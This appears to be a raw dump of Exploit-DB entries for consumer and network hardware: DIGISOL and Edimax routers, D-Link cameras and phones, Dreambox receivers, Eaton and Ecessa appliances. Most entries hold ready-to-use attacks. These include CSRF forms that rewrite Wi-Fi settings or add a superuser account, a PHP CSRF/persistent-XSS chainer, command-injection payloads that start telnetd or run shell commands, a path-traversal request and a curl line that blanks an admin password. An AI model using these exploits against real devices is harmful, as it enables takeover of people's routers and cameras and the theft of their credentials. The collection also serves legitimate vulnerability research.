deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41404
Description: DIGISOL DG-HR1400 Wireless Router - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2017-02-21
Author: Indrajith.A.N

Exploit:
<html>
   Digisol Router CSRF Exploit - Indrajith A.N
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.2.1/form2WlanBasicSetup.cgi" method="POST">
      <input type="hidden" name="mode" value="0" />
      <input type="hidden" name="apssid" value="hacked" />
      <input type="hidden" name="startScanUplinkAp" value="0" />
      <input type="hidden" name="domain" value="1" />
      <input type="hidden" name="hiddenSSID" value="on" />
      <input type="hidden" name="ssid" value="hacked" />
      <input type="hidden" name="band" value="10" />
      <input type="hidden" name="chan" value="6" />
      <input type="hidden" name="chanwid" value="1" />
      <input type="hidden" name="txRate" value="0" />
      <input type="hidden" name="method&#95;cur" value="6" />
      <input type="hidden" name="method" value="6" />
      <input type="hidden" name="authType" value="2" />
      <input type="hidden" name="length" value="1" />
      <input type="hidden" name="format" value="2" />
      <input type="hidden" name="defaultTxKeyId" value="1" />
      <input type="hidden" name="key1" value="[PII_REDACTED]" />
      <input type="hidden" name="pskFormat" value="0" />
      <input type="hidden" name="pskValue" value="csrf1234" />
      <input type="hidden" name="checkWPS2" value="1" />
      <input type="hidden" name="save" value="Apply" />
      <input type="hidden" name="basicrates" value="15" />
      <input type="hidden" name="operrates" value="4095" />
      <input type="hidden" name="submit&#46;htm&#63;wlan&#95;basic&#46;htm" value="Send" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #44955
Description: DIGISOL DG-HR3400 Wireless Router - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-06-28
Author: Adipta Basu

Exploit:
# Exploit Title: DIGISOL DG-HR3400 Wireless Router -  Cross-Site Scripting
# Date: 2018-06-25
# Vendor Homepage:  http://www.digisol.com
# Hardware Link: https://www.amazon.in/Digisol-DG-HR3400-300Mbps-Wireless-Broadband/dp/B00IL8DR6W
# Category: Hardware
# Exploit Author: Adipta Basu
# Tested on: Mac OS High Sierra
# CVE: N/A
 
# Reproduction Steps:
 
   - Goto your Wifi Router Gateway [i.e: http://192.168.2.1]
   - Go to --> "General Setup" --> "Wireless" --> "Basic Settings"
   - Open BurpSuite
   - Change the SSID to "Testing" and hit "Apply"
   - Burp will capture the intercepts.
   - Now change the SSID to <script>alert("ADIPTA")</script> and keep APSSID as it is
   - Refresh the page, and you will get the "ADIPTA" pop-up
Exploit-DB #44580
Description: DLINK DCS-5020L - Remote Code Execution (PoC)
Type: webapps
Platform: hardware
Date: 2018-03-27
Author: Fidus InfoSecurity

Exploit:
“The DCS-5020L Wireless N Day & Night Pan/Tilt Cloud Camera is a day/night network camera that easily connects to your existing home network for remote viewing on a range of mobile devices. It features pan, tilt and digital zoom function to allow you to see a wider area with a single camera, built-in Wi-Fi extender to effortlessly expand your wireless coverage, night vision up to 5 metres, sound and motion detection for the ultimate in peace of mind, and H.264 video compression for a high-quality image.”

This walkthrough demonstrates just how easy it can be to find vulnerabilities in Internet of Things (IOT) devices. The process of finding the following command injection can be broken down into 3 steps that are more akin to a 100 point CTF challenge: download binary, run strings, trace input to system call to origin.





An attacker can escape the ‘sed’ command with a simple payload, such as ‘`touch a`’. Another example that fits is AdminID=a’`telnetd`’, which allows a user to login as “a”, which becomes the new root account:

Source: https://www.fidusinfosec.com/dlink-dcs-5030l-remote-code-execution-cve-2017-17020/
Exploit-DB #45306
Description: DLink DIR-601 - Credential Disclosure
Type: webapps
Platform: hardware
Date: 2018-08-30
Author: Kevin Randall

Exploit:
# Exploit Title: DLink DIR-601 - Credential Disclosure
# Google Dork: N/A
# Date: 2018-06-24
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.dlink.com
# Software Link: N/A
# Version: Firmware: 2.02NA Hardware Version B1
# Tested on: Windows 10 + Mozilla Firefox
# CVE : CVE-2018-12710
 
# 1. Description
# Being local to the network and having only "User" account (which is a low privilege account)
# access, an attacker can intercept the response from a POST request to obtain "Admin"
# rights due to the admin password being displayed in XML.

# 2. Proof of Concept
# Tools to use:
# - BurpSuite
# - Browser of your choice

# 3: Login with "User" role account:
*My "User" role account does not have a password in this example*
POST /my_cgi.cgi?0.[PII_REDACTED] HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-AU,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/login_real.htm
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
DNT: 1
Connection: close

request=login&user_user_name=dXNlcg==&user_user_pwd=&user_type=1

# 4: When logged into the access point, click on the Tools option

# 5: You should see a request similar to the following:

POST /my_cgi.cgi?0.[PII_REDACTED] HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-AU,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/tools_admin.htm
Content-Type: application/x-www-form-urlencoded
Content-Length: 277
DNT: 1
Connection: close

request=load_settings&table_name=admin_user&table_name=user_user&table_name=graph_auth&table_name=remote_management&table_name=system&table_name=virtual_server&table_name=port_forwarding&table_name=application_rules&table_name=inbound_filter&table_name=fw_ver&table_name=hw_ver

# 6: Right click on this request and choose "Do Intercept response from this request"

# 7: You will see a response similar to the following:

HTTP/1.1 200 OK
Content-type: text/xml
Connection: close
Date: Sat, 01 Jan 2011 00:19:56 GMT
Server: lighttpd/1.4.28
Content-Length: 20088

<?xml version="1.0" encoding="UTF-8"?><root><login_level>0</login_level><admin_user><admin_user_name>admin</admin_user_name>
<admin_user_pwd>testagain</admin_user_pwd><admin_level>1</admin_level></admin_user><user_user><user_user_name>user</user_user_name>
<user_user_pwd></user_user_pwd><user_level>0 ...
Exploit-DB #51709
Description: DLINK DPH-400SE - Exposure of Sensitive Information
Type: webapps
Platform: hardware
Date: 2023-09-04
Author: tahaafarooq

Exploit:
# Exploit Title : DLINK DPH-400SE - Exposure of Sensitive Information
# Date : 25-08-2023
# Exploit Author : tahaafarooq
# Vendor Homepage : https://dlink.com/
# Version : FRU2.2.15.8
# Tested on: DLINK DPH-400SE (VoIP Phone)

Description:

With default credential for the guest user "guest:guest" to login on the web portal, the guest user can head to maintenance tab under access and modify the users which allows guest user to modify all users as well as view passwords for all users. For a thorough POC writeup visit: https://hackmd.io/@tahaafarooq/dlink-dph-400se-cwe-200

POC :

1. Login with the default guest credentials "guest:guest"
2. Access the Maintenance tab.
3. Under the maintenance tab, access the "Access" feature
4. On "Account Option" choose a user to modify, thus "Admin" and click modify.
5. Right click on the password, and click reveal, the password is then seen in plaintext.
Exploit-DB #36286
Description: DreamBox DM800 - 'file' Local File Disclosure
Type: webapps
Platform: hardware
Date: 2011-11-04
Author: Todor Donev

Exploit:
source: https://www.securityfocus.com/bid/50520/info

DreamBox DM800 is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.

Exploiting this vulnerability would allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks.

DreamBox DM800 versions 1.5rc1 and prior are vulnerable. 

http://www.example.com/file/?file=[LFD]
Exploit-DB #42986
Description: Dreambox Plugin BouquetEditor - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2017-10-12
Author: Thiago Sena

Exploit:
# Exploit Title: Vulnerability XSS - Dreambox
# Shodan Dork: Dreambox 200 
# Date: 12/10/2017
# Exploit Author: Thiago "THX" Sena
# Vendor Homepage: https://www.dreamboxupdate.com
# Version: 2.0.0
# Tested on: kali linux, windows 7, 8.1, 10
# CVE : CVE-2017-15287

Vulnerabilty: Cross-site scripting (XSS) in plugin BouquetEditor

---------------------------------------------------------------

PoC: 

- First you go to ( http://IP:PORT/bouqueteditor/ )

- Then you go to the Bouquets tab, add a new bouquet

- Then put the script (<script>alert(1)</script>)

- Xss Vulnerability
Exploit-DB #48614
Description: Eaton Intelligent Power Manager 1.6 - Directory Traversal
Type: webapps
Platform: hardware
Date: 2020-06-22
Author: Emre ÖVÜNÇ

Exploit:
# Exploit Title: Eaton Intelligent Power Manager 1.6 - Directory Traversal
# Date: 2018-09-29
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://powerquality.eaton.com/
# Software Link: https://powerquality.eaton.com/Support/Software-Drivers/default.asp?cx=-999
# Version: v1.6
# Tested on: Windows

# CVE-2018-12031
# https://nvd.nist.gov/vuln/detail/CVE-2018-12031
# https://github.com/EmreOvunc/Eaton-Intelligent-Power-Manager-Local-File-Inclusion

# PoC
To exploit vulnerability, someone could use
'https://[HOST]/server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../'
request to get some informations from the target.

GET /server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../windows/System32/drivers/etc/host
HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0)
Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Exploit-DB #44938
Description: Ecessa ShieldLink SL175EHQ < 10.7.4 - Cross-Site Request Forgery (Add Superuser)
Type: webapps
Platform: hardware
Date: 2018-06-25
Author: LiquidWorm

Exploit:
# Exploit Title: Ecessa ShieldLink SL175EHQ 10.7.4 - Cross-Site Request Forgery (Add Superuser)
# Date: 2018-05-21
# Vendor: Ecessa Corporation
# Product web page: https://www.ecessa.com
# Affected version: 10.7.4, 10.6.9, 10.7.4, 10.6.5.2, 10.5.4, 10.2.24, 9.2.24

# Summary: Ecessa's ShieldLink 60, 175, 600,1200 & 4000 are advanced, yet highly
# affordable secure WAN Optimization Controllers that incorporate all of the ISP/WAN
# link.

# Desc: The application interface allows users to perform certain actions via
# HTTP requests without performing any validity checks to verify the requests.
# This can be exploited to perform certain actions with administrative privileges
# if a logged-in user visits a malicious web site.

<html>
  <body>
    <form action="https://127.0.0.1/cgi-bin/pl_web.cgi/util_configlogin_act" method="POST">
      <input type="hidden" name="savecrtcfg" value="checked" />
      <input type="hidden" name="user_username1" value="root" />
      <input type="hidden" name="user_enabled1" value="on" />
      <input type="hidden" name="user_passwd1" value="" />
      <input type="hidden" name="user_passwd_verify1" value="" />
      <input type="hidden" name="user_delete1" value="" />
      <input type="hidden" name="user_username2" value="admin" />
      <input type="hidden" name="user_passwd2" value="" />
      <input type="hidden" name="user_passwd_verify2" value="" />
      <input type="hidden" name="user_delete2" value="" />
      <input type="hidden" name="user_username3" value="user" />
      <input type="hidden" name="user_enabled3" value="on" />
      <input type="hidden" name="user_passwd3" value="" />
      <input type="hidden" name="user_passwd_verify3" value="" />
      <input type="hidden" name="user_delete3" value="" />
      <input type="hidden" name="user_username4" value="h4x0r" />
      <input type="hidden" name="user_enabled4" value="on" />
      <input type="hidden" name="user_superuser4" value="on" />
      <input type="hidden" name="user_passwd4" value="123123" />
      <input type="hidden" name="user_passwd_verify4" value="123123" />
      <input type="hidden" name="users_num" value="4" />
      <input type="hidden" name="page" value="util_configlogin" />
      <input type="hidden" name="val_requested_page" value="user_accounts" />
      <input type="hidden" name="savecrtcfg" value="checked" />
      <input type="hidden" name="page_uuid" value="df220e51-db68-492e-a745-d14adfd2f4fb" />
      <input type="hidden" name="form_has_changed" value="1" />
      <input type="submit" value="Supersize!" />
    </form>
  </body>
</html>
Exploit-DB #12036
Description: Edimax AR-7084GA Router - Cross-Site Request Forgery / Persistent Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2010-04-03
Author: l3D

Exploit:
<?php
/*
Edimax AR-7084GA Router CSRF + Persistent XSS Exploit
Firmware version: 2.9.8.1(RUE0.C2A)3.7.6.1
Vulnerable page: http://[xx.xx.xx.xx]/advanced/adv_nat_virsvr.htm
Author: l3D
Sites: http://xraysecurity.blogspot.com, http://nullbyte.org.il
IRC: irc://irc.nix.co.il
Email: pupipup33@gmail.com

Like every CSRF attack, the victim must be logged in first before he
opens this malicious page.
Then he should wait some seconds until the router receives all the requests.
It may take few tries until it works.
The code should be split into parts because the router limits the
VIRTUALSVR_Application parameter length.
The author doesn't take any responsibility for what you do with that code.
*/
if(!isset($_GET["ip"]) or !is_string($_GET["ip"])) die("The victim
router's ip isn't set!");
else $ip=$_GET["ip"];

if(!isset($_GET["time"])){
	$script=Array(
					''
	);
	foreach($script as $part)
		if(strlen($part)>25) die("One or more of the parts can't be longer
then 25 characters!");
	$url="http://".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
	for($i=1; $i<=count($script); $i++){
		$target=$url."&time=".$i."&script=".urlencode($script[$i-1]);
		echo '<iframe src="'.$target.'" height="0" width="0"></iframe>';
	}
	die();
}
else{
	$time=$_GET["time"];
	$script=$_GET["script"];
}
?>
<html>
	<head>
		
	</head>
	<body>
		<form method="post" action="http://<?php echo $ip;
?>/Forms/adv_nat_virsvr_1" name="VIRTUALSVR_form">
			<input type="hidden" name="VIRTUALSVR_IndexFlag" value="0" />
			<input type="hidden" name="VIRTUALSVR_index" value="<?php echo $time; ?>" />
			<input type="hidden" name="VIRTUALSVR_Application" value="<?php
echo htmlspecialchars($script); ?>" />
			<input type="hidden" name="VIRTUALSVR_startPort" value="<?php echo
$time; ?>" />
			<input type="hidden" name="VIRTUALSVR_endPort" value="<?php echo
$time; ?>" />
			<input type="hidden" name="VIRTUALSVR_localIP" value="<?php echo $ip; ?>" />
	</body>
</html>
Exploit-DB #48366
Description: Edimax EW-7438RPn - Cross-Site Request Forgery (MAC Filtering)
Type: webapps
Platform: hardware
Date: 2020-04-22
Author: Besim

Exploit:
# Exploit Title: Edimax EW-7438RPn - Cross-Site Request Forgery (MAC Filtering)
# Date: 2020-04-21
# Exploit Author: Besim ALTINOK
# Vendor Homepage: https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/wi-fi_range_extenders_n300/ew-7438rpn_mini/
# Version:1.13
# Tested on: Edimax EW-7438RPn 1.13 Version


CSRF PoC - Mac Filtering
----------------------------------------------------------------------------------------------------------
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://172.20.10.2/goform/formWlAc" method="POST">
      <input type="hidden" name="wlanAcEnabled" value="ON" />
      <input type="hidden" name="tiny&#95;idx" value="0" />
      <input type="hidden" name="mac" value="ccbbbbbbbbbb" />
      <input type="hidden" name="comment" value="PentesterTraining" />
      <input type="hidden" name="addFilterMac" value="Add" />
      <input type="hidden" name="submit&#45;url"
value="&#47;macfilter1&#95;sub1&#46;asp" />
      <input type="hidden" name="wlanSSIDIndex" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

-- 

Besim ALTINOK

*Security Engineer*
Exploit-DB #48365
Description: Edimax EW-7438RPn - Information Disclosure (WiFi Password)
Type: webapps
Platform: hardware
Date: 2020-04-22
Author: Besim

Exploit:
# Exploit Title: Edimax EW-7438RPn 1.13 - Information Disclosure (WiFi Password)
# Date: 2020-04-21
# Exploit Author: Besim ALTINOK
# Vendor Homepage: https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/wi-fi_range_extenders_n300/ew-7438rpn_mini/
# Version:1.13
# Tested on: Edimax EW-7438RPn 1.13 Version

-----------------------------
Here step by step :

   1. I did Setup
   2. After setup try to access to *wlencrypt_wiz.asp* file
   3. After access to this file, I saw some information disclosure
(Like *WiFi Password*)
   4. Here is the all leak here:

-------------------------------

<SCRIPT>
var _DATE_="Mon Sep 24 19:38:17 CST 2012";
var _VERSION_="1.13";
var _MODEL_="EW7438RPN";
var _MODE_="Edimax";
var _PLATFORM_="RTL8196CS_1200";
var _HW_LED_WPS_="4";
var _HW_LED_POWER_="6";
var _HW_LED_WIRELESS_="2";
var _HW_BUTTON_RESET_="5";
var _HW_BUTTON_WPS_="1";
var _HW_BUTTON_SWITCH_="3";
var _HW_LED_USB_="17";
var _WIRELESS_IGMPSNOOP_="y";
var _SPECIAL_CHAR_FILTER_IN_SCRIPT_="y";
var _RDISC_="y";
var _WPS_NO_BROADCAST_="y";
var _UPNP_LIB_VERSION2_="y";
var _WDS_UR_INFO_="y";
var _RESERVE_ENCRYPTION_SETTING_="y";
var _IGMP_PROXY_="y";
var _IGMPSNOOP_="y";
var _RFTYPE_="2T2R";
var _MEMBUS_="16";
var _MEMSIZE_="16";
var _MEMTYPE_="SDRAM";
var _FLASHTYPE_="SPI";
var _REMOVE_RADIUS_SERVER_="y";
var _AUTO_CHANNEL_DET_="y";
var _CONTROL_SIDEBAND_="y";
var _WIFI_11N_STANDARD_="y";
var _SETTING_WIZARD_="y";
var _CONFIG_FILE_NAME_="7438RPN";
var _AP_WITH_DNS_="y";
var _USE_DNRD_="y";
var _WPS_MIX_="y";
var _POWER_SAVING_="y";
var _WEB_FILE_NAME_="7438RPN";
var _PINCODE_BY_MAC_="y";
var _UPNP_RESPONDER_="y";
var _MDNS_RESPONDER_="y";
var _NETBIOS_RESPONDER_="y";
var _AP_WITH_DHCP_CLIENT_="y";
var _LLTD_NODENAME_="y";
var _DHCP_SWITCH_="y";
var _CONNECT_TEST_="y";
var _START_BOA_="y";
var _WPS_Daemon_="y";

var security = 1;
apMode = 6;
methodVal = 2;
opMode = 0;
apMachType = 1;

var ssidTbl = 		new Array("PentesterTraining");
var mirrorTbl =		"";
var secModeTbl = 	new Array("2");
var enable1XTbl = 	new Array("0");
var _1xMode =		"0";
var wepTbl =		new Array("0");
var keyTypeTbl =	new Array("1");
var wpaCipherTbl =	new Array("2");
var pskFormatTbl =	new Array("0");
var pskValueTbl =	new Array("wifipass123.");
var defaultKeyIdTbl=new Array("0");
var rsIp=		"";
var rsPort=		"1812";
var rsPassword=		"";


-- 

Besim ALTINOK

*Security Engineer*
Exploit-DB #48377
Description: Edimax EW-7438RPn 1.13 - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2020-04-24
Author: Besim

Exploit:
# Exploit Title: Edimax EW-7438RPn 1.13 - Remote Code Execution
# Date: 2020-04-23
# Exploit Author: Besim ALTINOK
# Vendor Homepage: https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/wi-fi_range_extenders_n300/ew-7438rpn_mini/
# Version:1.13
# Tested on: Edimax EW-7438RPn 1.13 Version

------

NOTE: This device configurated with root permissions. So you can run the
command as root

Here is the detail(s) of the RCE(s)

1- Content of the mp.asp file

<form action="/goform/mp" method="POST" name="mp">
  <input type="text" name="command" value="">&nbsp;<input
type="submit" value="GO">
  <input type="hidden" name="getID" value="">&nbsp;
  <input type="hidden" name="getID" value="">&nbsp;
</form>

RCE Detail:
-------------------------------

POST /goform/mp HTTP/1.1
Host: 192.168.2.2
User-Agent: Mozilla/5.0 *********************
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
DNT: 1
Authorization: Basic YWRtaW46MTIzNA==
Connection: close
Cookie: language=1
Upgrade-Insecure-Requests: 1

command=||busybox+ls&getID=

-------------------------------

2- Content of the syscmd.asp

<form action=/goform/formSysCmd method=POST name="formSysCmd"><table
border=0 width="500" cellspacing=0 cellpadding=0>
<tr><font size=2>
This page can be used to run target system command.</tr>
<tr><hr size=1 noshade align=top></tr>
<tr>  <td>System Command: </td>
  <td><input type="text" name="sysCmd" value="" size="20" maxlength="50"></td>
  <td> <input type="submit" value="Apply" name="apply" onClick='return
saveClick()'></td></form>


RCE Detail:
-------------------------------

POST /goform/formSysCmd HTTP/1.1
Host: 192.168.2.2
User-Agent: Mozilla/5.0 *********************
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
DNT: 1
Authorization: Basic YWRtaW46MTIzNA==
Connection: close
Cookie: language=1
Upgrade-Insecure-Requests: 1

sysCmd="command to here"
Exploit-DB #38029
Description: Edimax PS-1206MF - Web Admin Authentication Bypass
Type: webapps
Platform: hardware
Date: 2015-08-31
Author: smash

Exploit:
# Title: Edimax PS-1206MF - Web Admin Auth Bypass
# Date: 30.08.15
# Vendor: edimax.com
# Firmware version: 4.8.25
# Author: Smash_
# Contact: smash [at] devilteam.pl


HTTP authorization is not being properly verified while sendind POST requests to .cgi, remote attacker is able to change specific settings or even reset admin password.

By default, it is necessary to know current password in order to change it, but when request will be missing POST anewpass & confpass parameters, admin password will be set to null.

devil@hell:~$ curl -gi http://192.168.0.10/
HTTP/1.1 401 
Date: Sat, 21 Dec 1996 12:00:00 GMT
WWW-Authenticate: Basic realm="Default password:1234"

401 Unauthorized - User authentication is required.

Request:
POST /PrtSet.cgi HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.10/pssystem.htm
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

BoxName=MFD55329&anewpass=1234&confpass=1234&PSPORTNAME1=&PSPORTNAME2=&PSPORTNAME3=&save.x=47&save.y=11

Response:
HTTP/1.1 200 OK
Date: Sat, 21 Dec 1996 12:00:00 GMT
Content-type: text/html

<html><head><title>Advance Settings</title><link rel="stylesheet" href="set.css"></head>
(...)


Following curl request will set admin account with empty password.

PoC:
devil@hell:~$ curl -XPOST --data "" -s http://192.168.0.10/PrtSet.cgi > /dev/null